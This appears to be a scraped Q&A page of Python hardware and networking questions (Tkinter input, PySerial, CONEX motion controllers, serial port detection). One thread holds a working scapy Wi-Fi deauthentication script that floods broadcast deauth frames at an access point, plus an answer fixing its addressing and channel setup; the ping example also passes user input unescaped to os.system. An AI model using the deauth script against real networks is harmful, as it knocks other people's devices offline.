Tkinter Entry box data format - python

Getting a set of variables on a tkinter (Python GUI) entry box (on a RPi) in order to ping an ip address, check a usb device's presence(with VID & PID) and to check a com port.
However when the GUI takes in the data, the function runs, but the variables taken from the entry are not executed properly.
i tried converting the input of ip address to string and vid and pid to int, same for com port entries. but the code still won't run.
scripts to ping IP and to check for usb devices(not the full code):
response = os.system("ping -c 1 " + self.ip_address)
pings ip and returns answer according to response
dev = usb.core.find(idVendor=self.vid, idProduct= self.pid)
checks usb and returns answer according to response
tkinter settings:
entry_IP = Entry(second_frame, bg="white")
entry_IP.grid(row=4,column=1,padx=0,pady=5)
str_IP=entry_IP.get()
main code:
RM=classname(str_IP,int_VID,int_PID)
RM.check_IP()
RM.check_USB()
i expected the code to run or not, but instead its always telling me the device(s) is not there.
when i run the function alone without a tkinter entry it works just fine !

When you define str_IP, the entry contains nothing, and so it will equal to an empty string. You should retrieve the IP directly by passing RM=class name(entry.get(),...)

Related

PySerial Attributes - Issues, Documentation Current Reference?

I am very new, learning Python specifically geared toward hardware (serial port and TCP/IP device) testing.
I have been trying to get PySerial based code to work and keep hitting roadblocks. Running Python 3.10.8 on Windows 10.
I worked through the 'import serial' problem (uninstalled and reinstalled Python); the serial.Serial problem (needed to add 'from serial import *). Now, it seems like all of the read syntax does not work. All I want to do at this point is open the port, read and print data - from here I will start working on which data I want).
Here is the code I am working with (this was found in a couple of places on the internet):
#test_sport
import serial
from serial import *
s = serial.Serial(port='COM9', baudrate=9600)
serial_string = ""
while(1):
# Wait until there is data waiting in the serial buffer
if(serialPort.in_waiting > 0):
# Read data out of the buffer until a carraige return / new line is found
serial_string = serial.readline()
# Print the contents of the serial data
print(serial_string.decode('Ascii'))
# Tell the device connected over the serial port that we recevied the data!
# The b at the beginning is used to indicate bytes!
#serialPort.write(b"Thank you for sending data \r\n")
Running this results in an error on serialPort.in_waiting (says serialPort not defined) if I change that to serial.in_waiting (says serial has no attribute 'in_waiting' (PySerial API site says this is correct(?). I've also tried simple commands like serial.read(), serial.readline(), ser.read(), etc. All fail for attributes.
Is the PySerial documentation online current? Does anyone know where to find basic serial port examples?
Thank you!

Why is my scapy deauth function not working?

When I run this function I am still able to refresh any page, watch videos online, the devices on my network do not get disconnected, isn't this function supposed to dos all devices over the access point, I can see the packets in wireshark but i do still have internet connection
why is it not working?
#!/usr/bin/env python3
from scapy.all import (
RadioTap, # Adds additional metadata to an 802.11 frame
Dot11, # For creating 802.11 frame
Dot11Deauth, # For creating deauth frame
sendp # for sending packets
)
def deauth_me(target , bssid):
dot11 = Dot11(addr1=bssid, addr2=target, addr3=bssid)
frame = RadioTap()/dot11/Dot11Deauth()
sendp(frame, iface="wlan0mon", count=100000, inter=0.900)
pass
deauth_me(target="ff:ff:ff:ff:ff:ff" , bssid="6c:6f:26:96:57:3d")
I took a look at the code you provided and I did notice a problem.
The fix is to change the values of addr1 and addr2 when you initialize the dot11 variable.
Check out this StackOverflow post with the MAC addresses it gives to addr1, addr2, and addr3. In summary, addr1 should be the MAC address of the target and addr2 & addr3 should be the BSSID MAC address.
Working code:
#!/usr/bin/env python3
from scapy.all import (
RadioTap, # Adds additional metadata to an 802.11 frame
Dot11, # For creating 802.11 frame
Dot11Deauth, # For creating deauth frame
sendp # for sending packets
)
def deauth_me(target , bssid):
dot11 = Dot11(addr1=target, addr2=bssid, addr3=bssid)
frame = RadioTap()/dot11/Dot11Deauth()
sendp(frame, iface="wlan0mon", count=100000, inter=0.90)
pass
deauth_me(target="ff:ff:ff:ff:ff:ff" , bssid="6c:6f:26:96:57:3d")
I tested this code and was able to successfully disconnect my phone from a WiFi network.
Another issue you might run into is that your wireless interface is operating on a different channel than your access point. Unfortunately, scapy won't tell you if you are on the wrong channel. I was only able to find this out by using aircrack-ng.
If you use aircrack-ng and the channels are not aligned, the error will be something like this (X and Y would be replaced with the actual channels):
wlan0mon is on channel X, but the AP uses channel Y
And if you want to change the channel your wireless interface uses, all you have to do is:
iwconfig wlan0mon channel Y

String element counting doesn't work [Python]

I'm programming a simple server socket interface (like a console). I tryed to implement a SEND TO xxx.xxx.xxx.xxx command to send some information or commands to the client at ip address xxx.xxx.xxx.xxx. So I tryed writing this code (it is inside a class and this is the reason why appears the self parameter):
while True:
# other statements
# asking an input from the user
command = input(f"[Server] >>> ")
if command.startswith("SEND TO ") and \
re.match(r"^([A-Z\s]){7}\s([0-9]{1,3}\.){3}([0-9]{1,3})$", command):
# getting the ip address
ip_address = command[8:]
# ip lists (from self.__clients which is the list of connected
# clients)
ip_list = [str(c.getpeername()[0]) for c in self.__clients]
# count the occurrencies of the chosen ip (this because there can be
# multiple client connected from the same computer)
matching_ip = ip_list.count(str(ip_address))
# trying to print the results for debugging the code
print(matching_ip)
print(ip_list)
print(ip_address)
And this is the console:
[Server] >>> SEND TO 111.111.1.11
0
['111.111.1.11', '111.111.1.11']
111.111.1.11
I can't figure out why even if there are 2 occurrencies of the same ip, the matching ip variable remains to the value 0. When I try to copy the ip from the previous output (using the mouse and CTRL+C) and paste (CTRL-V) to a new line, using the same SEND TO command it works, and it is returned:
# where 111.111.1.11 is copied from the previous output (this works even if
# I copy 111.111.1.11 from a previous program run and i paste it for the
# first time in the current run)
[Server] >>> SEND TO 111.111.1.11
2
['111.111.1.11', '111.111.1.11']
111.111.1.11
Any advices to fix this?
Thank you very much for your time and excuse my English, I'm still practising it

Connecting via USB/Serial port to Newport CONEX-PP Motion Controller in Python

I'm having trouble getting my Windows 7 laptop to talk to a Newport CONEX-PP motion controller. I've tried python (Spyder/Anaconda) and a serial port streaming program called Termite and in either case the results are the same: no response from the device. The end goal is to communicate with the controller using python.
The controller connects to my computer via a USB cable they sold me that is explicitly for use with this device. The connector has a pair of lights that blink when the device receives data (red) or sends data (green). There is also a packaged GUI program that comes with the device that seems to work fine. I haven't tried every button, the ones I have tried have the expected result.
The documentation for accessing this device is next to non-existant. The CD in the box has one way to connect to it and the webpage linked above has a different way. The first way (CD from the box) creates a hierarchy of modules that ends in a module it does not recognize (this is a code snippet provided by Newport):
import sys
sys.path.append(r'C:\Newport\MotionControl\CONEX-PP\Bin')
import clr
clr.AddReference("Newport.CONEXPP.CommandInterface")
from CommandInterfaceConexPP import *
import System
instrument="COM5"
print 'Instrument Key=>', instrument
myPP = ConexPP()
ret = myPP.OpenInstrument(instrument)
print 'OpenInstrument => ', ret
result, response, errString = myPP.SR_Get(1)
That last line returns:
Traceback (most recent call last):
File "< ipython-input-2-5d824f156d8f >", line 2, in
result, response, errString = myPP.SR_Get(1)
TypeError: No method matches given arguments
I'm guessing this is because the various module references are screwy in some way. But I don't know, I'm relatively new to python and the only time I have used it for serial communication the example files provided by the vendor simply worked.
The second way to communicate with the controller is via the visa module (the CONEX_SMC_common module imports the visa module):
import sys
sys.path.append(r'C:\Newport\NewportPython')
class CONEX(CONEXSMC): def __init__(self):
super(CONEX,self).__init__() device_key = 'com5'
self.connect=self.rm.open_resource(device_key, baud_rate=57600, timeout=2000, data_bits=8, write_termination='\r\n',read_termination='\r\n')
mine.connect.read()
That last mine.connect.read() command returns:
VisaIOError: VI_ERROR_TMO (-1073807339): Timeout expired before operation completed.
If, instead, I write to the port mine.connect.write('VE') the light on the connector flashes red as if it received some data and returns:
(4L, < StatusCode.success: 0 >)
If I ask for the dictionary of the "mine" object mine.__dict__, I get:
{'connect': <'SerialInstrument'(u'ASRL5::INSTR')>,
'device_key': u'ASRL5::INSTR',
'list_of_devices': (u'ASRL5::INSTR',),
'rm': )>}
The ASRL5::INSTR resource for VISA is at least related to the controller, because when I unplug the device from the laptop it disappears and the GUI program will stop working.
Maybe there is something simple I'm missing here. I have NI VISA installed and I'm not just running with the DLL that comes from the website. Oh, I found a Github question / answer with this exact problem but the end result makes no sense, the thread is closed after hgrecco tells him to use "open_resource" which is precisely what I am using.
Results with Termite are the same, I can apparently connect to the controller and get the light to flash red, but it never responds, either through Termite or by performing the requested action.
I've tried pySerial too:
import serial
ser = serial.Serial('com5')
ser.write('VE\r\n')
ser.read()
Python just waits there forever, I assume because I haven't set a timeout limit.
So, if anyone has any experience with this particular motion controller, Newport devices or with serial port communication in general and can shed some light on this problem I'd much appreciate it. After about 7 hours on this I'm out of ideas.
After coming back at this with fresh eyes and finding this GitHub discussion I decided to give pySerial another shot because neither of the other methods in my question are yet working. The following code works:
import serial
ser = serial.Serial('com5',baudrate=115200,timeout=1.0,parity=serial.PARITY_NONE, stopbits=serial.STOPBITS_ONE, bytesize=serial.EIGHTBITS)
ser.write('1TS?\r\n')
ser.read(10)
and returns
'1TS000033\r'
The string is 9 characters long, so my arbitrarily chosen 10 character read ended up picking up one of the termination characters.
The problem is that python files that come with the device, or available on the website are at best incomplete and shouldn't be trusted for anything. The GUI manual has the baud rate required. I used Termite to figure out the stop bit settings - or at least one that works.
3.5 years later...
Here is a gist with a class that supports Conex-CC
It took me hours to solve this!
My device is Conex-CC, not PP, but it's seem to be the same idea.
For me, the serial solution didn't work because there was absolutely no response from the serial port, either through the code nor by direct TeraTerm access.
So I was trying to adapt your code to my device (because for Conex-CC, even the code you were trying was not given!).
It is important to say that import clr is based on pip install pythonnet and not pip install clr which will bring something related to colors.
After getting your error, I was looking for this Pythonnet error and have found this answer, which led me to the final solution:
import clr
# We assume Newport.CONEXCC.CommandInterface.dll is copied to our folder
clr.AddReference("Newport.CONEXCC.CommandInterface")
from CommandInterfaceConexCC import *
instrument="COM4"
print('Instrument Key=>', instrument)
myCC = ConexCC()
ret = myCC.OpenInstrument(instrument)
print('OpenInstrument => ', ret)
response = 0
errString = ''
result, response, errString = myCC.SR_Get(1, response, errString)
print('Positive SW Limit: result=%d,response=%.2f,errString=\'%s\''%(result,response,errString))
myCC.CloseInstrument()
And here is the result I've got:
Instrument Key=> COM4
OpenInstrument => 0
Positive SW Limit: result=0,response=25.00,errString=''�
For Conex-CC serial connections are possible using both pyvisa
import pyvisa
rm = pyvisa.ResourceManager()
inst = rm.open_resource('ASRL6::INSTR',baud_rate=921600, write_termination='\r\n',read_termination='\r\n')
pos = inst.query('01PA?').strip()
and serial
import serial
serial = serial.Serial(port='com6',baudrate=921600,bytesize=8,parity='N',stopbits=1,xonxoff=True)
serial.write('01PA?'.encode('ascii'))
serial.read_until(b'\r\n')
All the commands are according to the manual

python : How to detect device name/id on a serial COM

I would like some indication on how to do this in python:
Identify the port named a specific name in the serial com (\Device\VCP0 and \Device\VCP1 these are get by browsing in regedit window)
And get the id of the device that is pluged
I can already identify the avalable COM with this pySerial code that scan up the active serial port COM
import serial
def scan():
"""scan for available ports. return a list of tuples (num, name)"""
available = []
for i in range(256):
try:
s = serial.Serial(i)
available.append( (i, s.portstr))
s.close() # explicit close 'cause of delayed GC in java
except serial.SerialException:
pass
return available
if __name__=='__main__':
print "Found ports:"
for n,s in scan():
print "(%d) %s" % (n,s)
Thanks in advance
I am not sure what operating system you are using, but this is in Win7-x64
import win32com.client
wmi = win32com.client.GetObject("winmgmts:")
for serial in wmi.InstancesOf("Win32_SerialPort"):
print (serial.Name, serial.Description)
Using this information, you can parse it and get the COM numbers.
You can get other attributes of the Serial instances here:
http://msdn.microsoft.com/en-us/library/aa394413(v=vs.85).aspx
Two answer
1) Because this relies on the hardware available, it is perfectly possible that the test code worked in the environment it was written on, but doesn't work in your environment - may be quite likely if you are on Windows and this was written on Linux. The code uses port 0 - don't know how that maps to COM1 etc.
2) On Windows, COM ports used to have DOS names like COM1, COM2 - i.e. A string, not an int (they aren't like TCP/IP port numbers). More recently in Windows there is the \.\COMnotanumber format which allows a more generic name, I've seen these used by a USB to serial converter. Having had a quick look at the source code of pyserial SerialBase in serialutil.py, it's a bit odd IMO, because AFAICT self.name only gets set when you use an explicit port setting by calling self.port(portname). You might want to try intializing the serial port instance with serport = Serial(0) then explicitly calling serport.port('COM1') (or whatever your port name is instead of COM1).
Just corrected the code. its working fine... :)
import serial
def scan():
available = []
for i in range(256):
try:
s = serial.Serial('COM'+str(i))
available.append( (s.portstr))
s.close() # explicit close 'cause of delayed GC in java
except serial.SerialException:
pass
for s in available:
print "%s" % (s)
if __name__=='__main__':
print "Found ports:"
scan()
If you are using a USB to TTY serial adapter, a unique symbolic link to the device driver file will appear in /dev/serial/by-id. The folder will only appear if a serial device is plugged in. The file name displayed is created from the product information in the USB interface chip on the device and will be unique for that device.
For instance, a Korad KD3005P programmable power supply will show up as usb-Nuvoton_USB_Virtual_COM_A92014090305-if00. The symbolic link will resolve to '/../../ttyACM0'. The required device drive file is then '/dev/ttyACM0'.

Categories